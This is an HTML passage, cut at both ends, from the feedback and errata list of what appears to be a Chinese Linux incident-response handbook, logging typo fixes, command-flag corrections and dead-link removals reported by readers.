2021.9.10</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.1</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2021.7.1</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.0</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2021.5.13</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">hello world</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2020.5.3</span></span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">用户反馈列表</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">在反馈过程中，除了 Github 上提交的反馈，我们都会询问是否公开反馈者信息，没有取得明确回复可以公开的情况下，以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">路人甲</span></code><span leaf=""> 代表</span></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">37. 小技巧章节 find 命令 -mmin 改为 -amin</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0037</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0000</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-05 09:50</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">当面反馈</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">小技巧章节 find 命令 -mmin 改为 -amin</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-05 09:53</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">38. 完善处置前准备章节</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0038</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 10:54</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加顺便带上 《Windows 应急响应手册》</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 21:53</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">39. 修复挖矿病毒章节 ps 命令错误</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0039</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 15:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">挖矿病毒章节 cpu占用部分ps命令多了一个 w</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 21:55</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">40. pstree 命令查看指定pid的线程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0040</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 16:11</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">pstree 命令后面可以加 pid ，这样就可以只看这个 pid 的线程信息</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 22:13</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">41. 安芯网盾沙箱网站已失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0041</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 16:45</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">安芯网盾沙箱网址失效</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已删除</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 22:14</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">42. 暴力破解 -&gt; SSH 暴力破解章节文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0042</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0000</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 16:56</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">当面反馈</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">监听本次IPv6 -&gt; 监听本地IPv6</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 22:16</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">43. 绿盟威胁分析中心网址失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0043</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 16:59</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">绿盟威胁分析中心网址失效</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已删除</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 23:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">44. 勒索病毒章节-根据勒索病毒类型寻找解决方法中文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0044</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-07 10:00</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">瑞星放勒索病毒专题 -&gt; 瑞星防勒索病毒专题</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-07 21:50</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">45. Webshellkiller 等工具链接失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0045</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M、megaparsec</span></section></td></tr><tr style="border: 0;border-top: 1px solid 